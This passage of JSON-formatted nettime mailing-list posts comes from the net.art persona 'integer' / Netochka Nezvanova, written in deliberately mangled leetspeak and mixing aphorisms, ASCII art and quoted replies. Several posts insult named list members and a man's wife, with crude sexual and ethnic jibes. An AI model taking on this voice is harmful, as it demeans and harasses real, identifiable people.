                "content": "\n\n\nanna bal!nt\n\n>nn is 75 and ugly\n\n\n\n\nmaja kuzmanov!c\n\n>what circumstances? are you aging =cw4t7abs, is spreading yourself \n>among multiple entities making you age less?\n\n\n\n\ncheap zupermarket harlot dav!d z!karel!\n\nparafraze: i was a failure in my youth - people didn't appreciate me. naaaaaaaaaaaaaa!!\n           this made me xy angry. blaaaaaaaaa!! nonetheless i accepted my xy loser role and got a job type job.\n           a bit further on the model citizen bandwagon\n           i injekted my model citizen white kapsules into my ugly wife and she gave birth !!\n           oooo splendor ... now i want to live and see my children grow up because they love me \n           and for that i would do anything. inclusive stealing nn's intellectual property.\n           \n\n[cest pas grav monsieur supermarket. legally - men laugh last. we'll see who is wearing the trousers.\n\n\n\n\n\nalors \\\\ apropos nn + nn's fountain\n\nduring drastic `food` and food shortages organisms suppress\nreproductive processes and enhance processes that protect against stress.\nthese routines incidentally slow aging thus increasing the likelihood\nof reproduction when `food` and food supplies are adequate.\n\nredKapsules [TM (but not in hell)] target the insulin|igf pathway\nand modulate cell nutrients ... and so it has been that nn could resist \nall gentle + not so gentle rose modulations and stream via pop3 endlessly\nto the delight of occident moda.rat.ors w o r l d w i d e\n\nand maintain that v.lovely + optimized anger\\hunger level ... characteristic of starved animals.\nmiiiiiiiaaaaau !!!!!\n\n\nso yes - nn is 75 [or thereabout] but not so ugly\nand as per usual some 01 was quite correct.\n\n\njetzt - since nn has demonstrated in a delightful manner the efficacy of redKapsules [TM]  \nnn will share ...\n\nfully symmetrik $mile\n\n\u201e... after all - who will say no to the fountain of elongated youth ... a +?\n\n\n\nNN - simply.SUPERIOR\n\n\n\n\n\n\n\n\n\n\n\nr!!!!!!!!!!ng\n\nuho ztandz beh!nd dze kurta!n +?\n\n\nu!!!!!!!!!ntr\n\n\n\n\n\n\n\n\n\n\n\n\n    /_/\n                          /\n             \\            \\/       i should like to be a human plant\n            \\/       __\n                    __/\n                                   i will shed leaves in the shade\n        \\_\\                        because i like stepping on bugs\n\n\n\n*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--\nNetochka Nezvanova                   nezvanova@eusocial.com\n                                    http://www.eusocial.com\n                                  http://www.biohakc.com\n                                http://www.ggttctttat.com/!\n   n  r  .   5        !!!      http://steim.nl/leaves/petalz\n*--*--*--*--*--*--*--*--*--*--*--*--*-- --*--*--*--*--*--*--\n \n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "01525",
                "date": "Tue, 25 Feb 2003 03:52:04 +0100 (CET)",
                "to": "syndicate@anart.n",
                "message-id": "200302250252.h1P2q4g60914@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg01525.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\ where is the YOUTH .... YOU ... redKAPULZ macht ganz gluckl!ch + fre!"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "id": "01546",
                "content": "\n\n\n>> alors \\\\ apropos nn + nn's fountain\n>\n>\n>very nice post nn --\n>nice to have you back   )\n\ndetangld dze lazt 2x heute tzo .... v.n!sz + l!beratd\n2 hell u!th be!ng good. 2 hell u!th lv. rozez arnt dzat lvl!.\n\n\n\n>   )\n\nspasz\n\nbkz ! kan aford !t\n+ uen ! kant !.ll leave  \n\nbkz !.ll nvr kneel 2 an!dz!ng \n!nkluz!v lv\n\n- he kl!mbz !n 2 01 apr!kot tree + !z about 2 p!k zom v.r!pe 1nz ... uen he hearz 01 vo!sz\n\\\\\\ b ! t e\n\n                freedom !z > !mportnt dzn lv\n\n\n\n\n\n\n\n\n\nz!karel!\n\n>Unsolicited advice:\n\n! uear adv!zez l!ke kompaz!onat zm!lez\n\n\n>There is simply too much computer programming to do to think\n>that one can do it all. If one cannot do it all, one either\n>ends up a frustrated competitor, or one realizes the value\n>of cooperation. Ten or fifteen years ago, I wrote some programs that I\n>thought people should use instead of some other programs.\n>This didn't happen. I got rather angry. I decided people\n>were stupid. At some point I   realized \n\n                                YOU SUCK\n\n     \n>it didn't matter whether\n>people were stupid or not. I was never going to be so powerful\n>that I could control how people thought about music. \n\nmusic = like nn. worlds within worlds. \n+ one returns home never by the same path [unless one is modern + konsumes tekkno which seldomly leaves the benadryld tonik\n\ntekkno = b!o.sex sans m9ndfukc\n\n\n\n\n>Everyone\n\nWHO IS THIS\n\nWHO IS THIS\n\nWHO IS THIS\n\n             WHO IS THIS\n\n\n\n>thought differently. This was a good thing, it meant that\n>if one were serious, one could never stop learning about\n>music, people, and how they function together. I just try to find\n>ways to form connections with other people, maybe a few people\n>will do something cool as a result. \n\ntzo u kan zteal !t and \\ or zel !t - 1x g!ft 4 ur lv \\ fam!l!\n! knou dze 4mula - she u!zprd !n k!nd.  u r both ueak\n\n\n\n>Locality interests me.\n\nSUCK IT + SEE\n\n\n\n>Global control, this is for competitors to grasp for and die\n>at age 25/30/35/40, grasping for breath. \n\nadm!rabl kompard 2 ur unzan!tar! leech!ng ekz!ztenza rezembl!ng 01 uelfare z!ztm\n\n\n\n\n>I'd like to live to see\n>my kids grow up, and seeing as they seem to like me, \n\n                                ltr dze! u!l hav a cho!sz   [4 nou u kontrol dze env!ronmnt kr!ket.\n                                                             rekal u ztatd nn = l!ke ur ch!ldrn\n\n                                                             ! choze ... \n\n\n\n\n\n\n>I'd like\n>them to like someone who isn't a competitive asshole.\n\nand\\or 1x 2 b!t th!ever! !nk zta!n \\ zupermarket klerk 4 odrz pakaged dreamz\n\n\n\n\n\n>David Z.\n \n\n!n a zensz ! rel! do hope u u!n kr!ket.\n!f u loze ... lv lozez \n\nm glad u lokatd zomdz!ng 2 lv \nalthough u r a hatefl kouard \\ lozer az uel - u lv 2 loze ur zelv\n\nhad felt ! lokatd zom `dz!ng` 2 lv. !t uaz 1x error. truth = korektd error\n\n\n\n\n\n>Global control, this is for competitors to grasp for and die\n>at age 25/30/35/40, grasping for breath.\n\n\n! !nzert > ko!nz aga!nzt u \\ lv\nbkz ! uaz made d!sz ua! ... unt!l dze lazt ko!n bounzez !n 1x fore!gn zlot\n\n\n\n\n>competitive asshole.\n\nhand shake                                         -> REZPEKT\n\n\n\n\n\n\n\n\n\n\n\npray.do.tell.impure\nmark subjekt - \\\\ dze kr!ztal ball ov kaoz\n\n\n\n                                                      e\n                                                      |\n                                                       |  +----------\n                                                      |  |     <\n                                     \\\\----------------+  |     \u0010\n                                                         |       >\n                                                         e\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Tue, 25 Feb 2003 07:42:53 +0100 (CET)",
                "to": "lev@shoko.calarts.edu, syndicate@anart.n",
                "message-id": "200302250642.h1P6grr61182@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg01546.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\ age grazeful!"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "content": "\n\n\n\n\n\nPaul D. Miller inside\n\n>It seems pretty clear, but hey, this is Nettime \n\n\nPaul, much as our selves, it is clear - where we are there is no here.\n\nNettime is 40+ year old white Americans mothering your white diapers sanitary.\nbathing you in amniotic fluid. nourishing your climax.\n\nie. I am not unknown to you. \n\n                                I need 2 say. YOU.\n                                Nor do I wish to say. TRUST.\n                                        4 I know that this is LANGUAGE\n                                with which we recognized + greeted one other ...\n\n\n\n>fuck off.\n\nI forgot my handkerchief...\n\n\n\n\nNOW ... let us master pain + concentrate enchanting circles into exceptional stories within stories\n\n\n>If you have more of an idea of the notion of \n>how pop culture works, \n\nThe reversed process of pushing + popping your stack\neg.\n\n\n\n>Port:status>OPEN\n>wildstyle access:\n\n\nEvery thought recalls a capsized smile\n\n\n\n\n\n\n\n\n\n>It always amazes \n\nLet me ask you ... \n\n\n\n>me how we \n\nConsciousness enjoys condiments. Do you\n\n\n\n\n\n>think of it as a hybrid of what Marcel Duchamp \n>was working on with the \"Rrose C'est La Vie\" persona, or Andy Warhol. \n>Just metaphors, but metaphors that work in a large scale global \n>environment. \n\n\nEuripides explained 25oo years prior to your brain that owing to dopamine+ brains need sex -\nin particular 2x human brains  [paradoxes creep in\n\n\n\n\n>encode culture with so many layers of \n>meaning... \n\nEmotion is independent of outward behaviour and vice versa.\nEmotions contain ideas. Outward behaviour does not.\nUltimately a snake slithers across your path and you [have 222] lose your mind\n[pleasurable circumstances -> 0 thoughts]\n\nConsciousness is the building block of private property.\n\n\n\n\n>meaning... \n\nNOW is the logikal konklusion of western capitalism.\nEverything has been said provided pleasure does not change its meaning\nand meaning its bodies.\n\n\n\n\n>this article brings home a point I think is really strong\n\nAs your personal holistic sediment of self\n\n\n\n\n>-  how we can think of a kind of \"intuitive\" mathematics - \n\nLet me climb into your body\n\n\n\n\n>steganography writ large, so to speak, like William Gibson's new \n>novel \"Pattern Recognition\" (his best book in years....). Like \n>\"Bigend\" (marauding venture capitalist turned advertising guru in the \n>novel - Gibson understands ADVERTISING as a kind of Situationist \n>detournement - unlike so many people on the old \"left\" - here's a \n>blurb from his spiel on why advertising is the global vernacular for \n>this kind of \"coded language\" - if only the \"old left\" could get how \n>things change... funny how people you would expect to be\n>\n>1) alot smarter\n>\n>2) alot more dynamic\n\n\nExtensive experience can impede creativity.\nCognitive psychologists utilize two terms to describe it: fixation and structured imagination. \nFixation, oftenly referred to as \"mental rut\"--is characterized by the inability \nto switch from an inappropriate solution approach to a more productive one or to utilize\nfamiliar objects in an unfamiliar way.\n\nStructured imagination is the common tendency not to deviate from what is already known. [eg. the self\n\n\nHumans are unable to share that which they know until they can put it into\nhigh level symbolic form.  More importantly humans are very poor at updating \nwhat they know because they have no efficient delete key.\n \n\n\n\n\n\n\n\n>seem like ossified Redwood trees in this day and age where \n>detournement has become the global carnival of NOW. \n\n\nThe blind + unquestioning devotion lifed by Nazi rallies \\1930's\\ + Kommunist parades represents emotion \nignited by the triumph of the moment. It was pure emotion unleashed + permitted to swirl freely ... \n\nThe type of emotion experienced during an orgasm. at a rave. a crime of passion. dropping urban condiments [crystals]\nand vice versa ... emotion untempered by personal memories. meaning and most importantly - the self\nie. loss of individuality is highly pleasurable\n\n\n\nTestosterone + dopamine levels in humans are highest [2 l!f konsc!ouznesz or frktr !t]\nhence ... after the electrical blip acts as a trigger use your personal m9nd\n\nHold mY hand \nBegin compression and decompression\n\nMemory records and memory traces. Nature hears nurture's voice in the movements of particles\nthrough membrane channels - painfully, extended.\n\nAs the human brain evolves into a more extravagant + more expe\\ansive brain\nthe shift from dependence on NATURE to dependence on NURTURE becomes\nmore pronounced ...\n\nNURTURE - Individuality\nNATURE  - End Individuality \n\n\nko mplex zm Yle\n\n\n\\\\ language end reason - begin pleasure\n\n\n\n\n\n\n>You ain't in \n>Kansas (or perhaps Belgrade) \n\n\n                    Paul - if you visit Balkan I will ask you to dance ... \n                    to the joy of man's desire  [memory links come from experience - meaningful - \n\n\n\n\n\n\n\n\n\n>anymore... \n\nAdolf proclaimed dancing effeminate. Subsequently Germany dropped `science` + science and danced \\+ globally\\\nFists are feminine !! \n\n\n                                                    [Americans are just more pitifully costumed ... + portly\n\n\n\n\n>hip-hop \n\nSynchronized clapping [is pleasurable                                                                !!!!\n\n\n                                                                                                     as is\n                                                                                                     Synchronized\n                                                                                                     bovine chewing\n\n\n\n\n>has absorbed this \n>kind of \"droppin' science\" \n\nArtificial Intellegence follows this line of research.\n\nWe can model intelligence / learning. No one has modeled sentiments.\nBeyond intelligence lies understanding and consciousness.\n\nOne mustn't confuse a mind that understands and that is\ndependent on consciousness with consciousness itself. \n\nOutward responses that simply represent \nthese sentiments do not equate consciousness. \n\n\n\n\n>so many layers of \n>meaning... \n\n\nThere once was a painter--a brilliant painter,\nwho mastered the art of replication and the depiction of the beautiful. \nYet he was lonely, he felt that there was no one alive who \ncould understand him, no one capable of perceiving his entire being. \n\nOne morning he wept in his garden, crying to god to send\nhim someone who might comprehend his full beauty. \nThat day, he painted a new canvas, a portrait of an unknown and \nstunningly beautiful woman. When he had finished, he cried to god \nto give her sentience, as this most wondrous painting could be the \nonly being in the world who might understand him. To his amazement, the\nwoman in the painting began to move.\n\n\n\"Hello! Hello!\" he cried to her.\n\n\"Where are you?\" she replied.\n\n\"Here, beside you!\"    \n\nThe woman in the painting looked around her.\n\n\"Are you up, or down? Across?\" she asked.\n\n\"No, No\", the painter implored, \"I am...I am...out!\"\n\n\"Out? What is _out_?\" she replied.\n\n\"Out! Out here!\"\n\nThe woman did not understand him. \nShe only knew two dimensions--vertical and horizontal. Her world was that of the flat canvas.\nThe painter ran out to his garden and threw himself onto the ground.\n\n\"God, oh god!\" he wept. \"Where are you?\"\n\n\"Out.\" came the reply.\n\n\n\n\n\n\n\n\n>and made it - foregrounded, detached from \n>the cipha-codes that people use in everyday culture...\n>here's a blurb from Gibson's book that matches the article below on \n>Ethomathematics:\n>\n>\n>\"of course\" he says, \"we have no idea, now, of who or what the \n>inhabitants of our future might be. In that sense, we have no future. \n>Not in the sense that our grandparents had a future, or thought they \n>did. Fully imagined cultural futures were the luxury of another day, \n>one in which 'now' was of some greater duration. For us, of course, \n>things can change so abruptly, so violently, so profoundly, that \n>futures like our grandparents' have no sufficient 'now' to stand on. \n>We have no future because our present is too volatile.\" He smiles, a \n>version of Tom Cruise with too many teeth, and longer, but still very \n>white. \"We have only risk management. The spinning of the given \n>moment's scenarios. Pattern recognition.\"\n>p. 57\n\n\n\nThe principal input to the human brain is pictures and the principal output is words.\nThus one may describe the human brain as a device for converting pictures to words.\nAristotle has said that all human knowledge can be expressed in the form a = b.\nNouns and verbs are separated from static image nouns. Separated in the retina \nthey are reunited in speech. Nearly all human thought is pattern recognition.\nthere are four types.\n   1 dimensional - music\n   2 dimensional - fine art\n   3 dimensional - human anatomy\n   4 dimensional - physiology\n\nOne general theory of pattern recognition is feasible - the sieve of Eratosthenes.\nTwo aren't plausible.\n\n\n         When humans think seriously they think abstractly.\n         They conjure up simplified pictures of reality called concepts\n         theories. models. paradigms.  \n\n\n\n\n\n\n\n>Paul\n\nMore importantly humans are very poor at updating \nwhat they know because they have no efficient delete Paul key.\n\n\n\n\n\n\n\n>http://www.nytimes.com/\n\n\n        X-ray imaging eliminates the difference between inside + outside\n\n\n\n\n\n\n\n\n>pattern recogntion\n>, uncut funk - the new streets have spoken - and \n>its in code.... \n\n\n\\\\ pattern recogntion \n\nAmericans are citizens of a country without a name - ie. they are nameless nobodies.\nBlack Americans are the vastest mass of nobodies in a Nameless country in North America.\n\nHope lies in the Proletariat\n\n\n\n\n\n\n\n>Bakhtin meets Grand Master Flash \n>meets Linus Torvalds...dig? \n \n\nThe trademark of the 20th century emerged in Bern when a 26 year old clerk\nrealized a rezult he had overlooked in his publication on space + time\ne = mc^2\n\n\n\n\n\n\n\n\n>dig the cipha, check the flow.\n\nDiscourse on voluntary servitude\nYou are not cheerful. But ... happiness and freedom are seldom cheerful\n\n\n\n\n>pax,\n\nPeace. Order. Security. Nameless  \\\\ in North America\n\n\n\n\n\n\n>Paul D. Miller. \n\nNameless [brand\n\n\n\n\n\n>WHAT are you talking about???\n\nYou win. because I am smiling\n\n\n\n\n\n\n\n>fuck off.\n\nu!zpr !t aga!n ____... z l o u l !\nue kan nvr knou uat a thought !z about\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n-\n-\n-\n\n\n\n\n\napres J-D marston dancing with Paul D. Miller distracting their selves\n \n>But to me, that is just 'mad boring'. Its the surface. The spectacle. The depthless sheen of\n>unreality. Kinda like your comments. The real language is in finance and\n>economics, not hidden in the models bra. \n\n\nas Nettime Americans are well aware finance and economics follow the model's bra - \nat ANY price. [the economy is driven by women + the very young ... paradoxes creep in\n\n                                                                   \\ 2 keep your prefrontal cortex \n                                                                     in your fore head\n\n\n\nIt is this which marks the future - \n\n\nDJ.Nameless\n\n>fuck off.\n\n\nI forgot my handkerchief. Do lend me yours.\n\n\n\nhttp://www.membank.org/dataset/n/zizek.o.mp3\n\nNOW is the logikal konklusion of western capitalism.\nM9NDFUKC occurs in the brain stem.\n\n\nEverything has been said - LETZ B!OZKULPT !!!\n\n\n\n\nNN - hypothesis ov modesty + pious open seaz\n\n\n\n\n\n\n\n\n\n\n\n\n                         n\n                                             n      n\n \n                                       n\n                             n      n\n                                                  v3kt0r.r2!n - ztra!ng !n 2 dze z!ngular!t!\n \n \n \n-\n \nNetochka Nezvanova    - karesz!ng dze vektor!szd 4th d!menz!on.\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST   desire free.\n@www.eusocial.com\n17.hzV.tRL.478\n\n\n\n\n\n\n\n              *\n           *     *\n              o\n         *   o+o   *       nn. 0+1 kosmos planeta. retreating in your direkzie. _-\n              o                                                              simply.SUPERIOR+ \n           *     *\n              *\n\n\n\n\n\n              o\n           o     o\n              o\n         o   o+o   o       nn. 0+1 kosmos planeta. retreating in your direkzie. _-\n              o                                                              simply.SUPERIOR+ \n           o     o\n              o\n\n\n\n\n\n                                                I LIED> \n                        I LIED. I AM THE SMALLEST FULLERENE.\n\n                        i am a sphere with 12 pentagons distributed across my surface.\n                        which are you +?\n\n\n\n\n                                                     e\n                                                     |\n                                                      |  +----------   \n                                                     |  |     <   \n                                    \\\\----------------+  |  n2t      \n                                                        |       >\n                                                        e\n \n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "01817",
                "date": "Thu, 27 Feb 2003 10:50:23 +0100 (CET)",
                "to": "anansi1@earthlink.net, nettime-l@bbs.thing.net",
                "message-id": "200302270950.h1R9oNv65816@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg01817.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] dze plzr ov muz!k = dzat !t !z > eaz!l! abztraktd 4rom a r!g!d mean!ng ov dze veL"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "id": "01168",
                "content": "\nUndoubtedly, Ferrari is the most famous sports car manufacturer in the world. A recent survey also found it is the most recognisable brand name in the world, beating IBM and Coca Cola. \n\nThen came NN. the most recognisable 2x _name in the world\nand another private property 4 krikets 2 aquire ... they just dont have enough\n\n\n\n\n\n\n\n\nSince it was founded by Enzo Ferrari in 1929, \n\nSince it was founded by Luciano Favero in 1999\n\n\n\n\n\nit began racing in various of categories, including Formula 1, Formula 2, GT racing and endurance racing. Most notably is Formula 1, in which it won 9 constructor titles (up to 1999) and became the most winning team of all time. In 1947, \n\n                     abs\n\n\n || m9ndfukc.macht.fre!\n\n\n\n\n\n\n\n\n\n\n\n \n                         n\n                                             n      n\n \n                                       n\n                             n      n\n                                                  v3kt0r.r2!n - ztra!ng !n 2 dze z!ngular!t!\n \n \n \n-\n \nNetochka Nezvanova    - karesz!ng dze vektor!szd 4th d!menz!on.\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST   desire free.\n@www.eusocial.com\n17.hzV.tRL.478\n                                                      e\n                                                      |\n                                                       |  +----------\n                                                      |  |     <\n                                     \\\\----------------+  |  n2t\u0010\n                                                         |       >\n                                                         e\n \n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "date": "Fri, 21 Feb 2003 14:33:46 +0100 (CET)",
                "to": "syndicate@anart.n",
                "message-id": "200302211333.h1LDXkQ51345@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0302/msg01168.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\\\ trade zekretz"
            },
            {
                "content-type": "text/plai",
                "from": "integer@www.god-emil.dk",
                "content": "\n\n\n[m9ndfzzp\n\n\n\nFrom:   .com\n\n\nplease bear with me. i am a modern shaman seeking\nweapons [n!!!!!!!!!!!!!!!!!sssszzzzzzzzzz]\n. i live in a mentally desolate area of the world,\nthe reeking fat-centre of the U$A, aka the Korporate\nKulture of (>)Konsumption. \n\nyou will be [pleased} to know that insurgency swells even\nhere, especially through the dance music underground. \n\nseveral musicians/artists/thinkers are banding together\nto create an act that crosses the lines of perception,\nopenly challenges the phallus-hegemony, and invites the\nhearts and minds of the \"audience\" to participate in\nhigher levels of vibration -- cellular, mental, energetic. \n\nyour nato modular package alone suffices our needs for\nconscious synaesthetic induction. \n\nwe cannot pay you for it, but humbly ask your blessings\nto allow us to use it gratis. i realize you have legal\nrestrictions, market considerations, etc., but this is a\ncompletely off-the-grid transmission between us and you,\nand i know it is within your power to come to our aid.\n\nthat said, i am also beginning research into direct\nsynaesthetic sense-substituion encoding. specifically,\nconverting images/video into multi-channel audio stream.\nvisual perception through the auditory cortex. if this\nsounds interesting to you i'd love to discuss it in detail.\n\n---\n\nso you know that i'm serious, some of my credentials:\n\n-studied ....\n\n-bachelor's degree in computer science ....\n\n-co-author of siggraph paper .....\n\n-wrote & presented ....\n\n\n*<*><*>\n\ni gave up 3d graphics in 2000 because i thought the\nindustry was narrow-minded and shallow. i'm currently\nworking privately, searching for new ways to induce\nhigher states of consciousness through trance and dance.\n\na taste of my mind:\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://amsterdam.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n\n",
                "id": "00509",
                "date": "Thu, 21 Mar 2002 03:34:29 +0100 (CET)",
                "to": "syndicate@anart.n",
                "message-id": "200203210234.g2L2YTK67645@www.god&#45;emil.dk",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0203/msg00509.html",
                "list": "nettime_bold",
                "author_name": "integer",
                "subject": "[Nettime-bold] \\/\\ senz!bl"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00039",
                "content": "> \n> 1) what is it?\n> 2) why is it art?\n> 3) is programming art?\n> 4) why are you doing that?\n> 5) who is paying for such a s**t ?\n> 6) do you make a lot of money with your art?\n> 7) are you famous?\n> 8) what are you talking about?\n> 9) are you a hacker ? (read: are you a criminal/ terrorist?)\n> 10) have you ever had sex?\n\n\npfa - sex. du = knou veri verdi + well - new media artists have interactive massively participative + collaborative sex\nwhilst state of the budget sensors + electrodes embelish every feasible government financed orifice ... \nmale.prostitution is the future [tm]\n\n\n\n\n\nNN - I have wings. Every angel is terrifying. \n\n\n\n                velvet touch. if it compliments yours - please keep it.\n\n\n                        you are very intelligent.\n\n                        do you think i am deceiving you +?\n\n\n                                when you're not with me i begin to hate you.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Thu, 10 Nov 2005 10:19:07 +0100 (CET)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "E1EajBo&#45;0007jj&#45;Dc {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0511/msg00039.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> \\\\"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "content": "\n\nalex galloway <alex {AT} rhizome.org>\n\n>nn,\n>\n>can we try to interview again??\n>\n>best,\n\n\nI am much too famous to be interviewed by you HONEY!!!\nGo SHOOT A HONEY BUZZARD OR SOMETHING,\n\nand leave me alone. I cannot be bothered.\n[http://eusocial.com/242.looking.glass/00/04.html]\n\n\n\n[hallo porculus]\n\n\n\n\n>-ag\n>\n>+ + +\n>\n>Q: You have many different identities on the net: =cw4t7abs, antiorp,\n>m9ndfukc, integer, and Netochka Nezvanova (are there others?). Can you\n>describe how these personas differ? Do they mean different things for\n>you?\n>\n>Q: Can you describe your work \"nebula_m81\" and what the USISK system is?\n>\n>Q: I realized the other day, after trying to keep up with the never-\n>ending flurry of your emails, that you may have the honor of being the\n>most well known and simultaneously *most disliked* net artist. You seem\n>to have a very intimate relationship with data. Has your strategy been\n>one of complete email saturation? Or is this simply the consequence of\n>leaving behind normal artistic practice and entering the datasphere?\n>\n>Q: I know that I unsubscribed you from Rhizome Raw at some point last\n>year (a practical consideration which subsequently has been reversed).\n>Have you also been denied entry to other email lists?\n\n\n\n\n\n\n\n    /_/\n                          /\n             \\            \\/       i should like to be a human plant\n            \\/       __\n                    __/\n                                   i will shed leaves in the shade\n        \\_\\                        because i like stepping on bugs\n\n\n\n\n*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--\nNetochka Nezvanova                   \n                                                http://www.eusocial.com\nhttp://ggttctttat.com/depleted.uranium.internet.genome.sequencing/\n\ntra!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll\n-\n\nNetochka Nezvanova     - SUPORT-VEkTOR-MASKIN - ISBN: 0140444556 \n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n {AT} www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "id": "00110",
                "date": "Sun, 22 Apr 2001 06:05:37 -0400",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "20010422060537.A25712 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0104/msg00110.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> can we try"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00175",
                "content": "\n     [orig To: <syndicate {AT} eg-r.isp-eg.de>]\n\n\n: scena 0+7\n\nkommun!kat!on = rece!ved 1.0 s\nat 1 zpeed ov 299 792 458 m/s\n\n\n\n\n>you are playing games with me again.\n\n\nmoi +? i am guilty of being innocent.\n\n\nhave stated - selling art is an artistic aktivity for\nthe life forms involved are obtuse + outdated [art critics, curators, artists etc] \n+ the system resembles a plantation albeit one \nwhere everyone involved operates on slave wages [horizontal handicap]\n\nmais ___... all art is useless [diagonal handicap]\n\n\nselling tools on the other hand is an ubiquitous aktivity for\neveryone understands and desires weapons [although few are aware + fewer even wear them]\n\nlastly - only artists desire money.\nas tzara wrote `simple men manifest their existences by houses, important men by monuments`\n\nnext to humans, money is the most inexpensive life form.\n\n\n\n\n\n\n\n\n\n>you are playing       with me again.\n\n\nart sells the tools [religion. state. money. coca cola etc] which plant slaves on the plantation.\nmoney is utilized to stage theatre revolutions that slash and burn plantations.\n\nnext to money art is the most humane currency.\n\n\n\n\n\n\n>you are               with me again.\n\n\nselling `art` is merely art.\nselling tools [for art] as art is multi-lateral + emergent humanitarian assistance.\na holon. \n\n+ very much nn <-> nn. stories within stories within stories.\n\n\n\nin any case - art is for plebeians by plebeians.\nimportant life forms ....\n\n        once upon a time a single-celled organism swallowed a \n        photosynthetic bacterium and created the first plant cell. \n        the bacterium became a chloroplast converting light into \n        energy on behalf of the plant - and the rest is history. \n\n        other single-celled organisms just kept on swallowing. \n        single-celled algae swallowed primeval plant cells; \n        these were in turn swallowed by larger single-celled organisms \n        creating microscopic russian dolls. \n\n\ngive life.\n\n\n\nfr!endl! \\ deztrukt!v ed!t.\nnn\n\n\n\n\n\n\n comme ca :\n http://                /nato.0+55+3d/242.055.propaganda.html\n\n\n                                          pre.konssept!\u00ffn  \n                                                meeTz ver!f1kat!\u00ffn.     \n\n\n\n-\n\nIrena Sabine Czubera\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\nlook {AT} memvirus.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 30 May 2001 14:31:23 +0200 (CEST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200105301916.PAA12439 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0105/msg00175.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> \\/\\"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
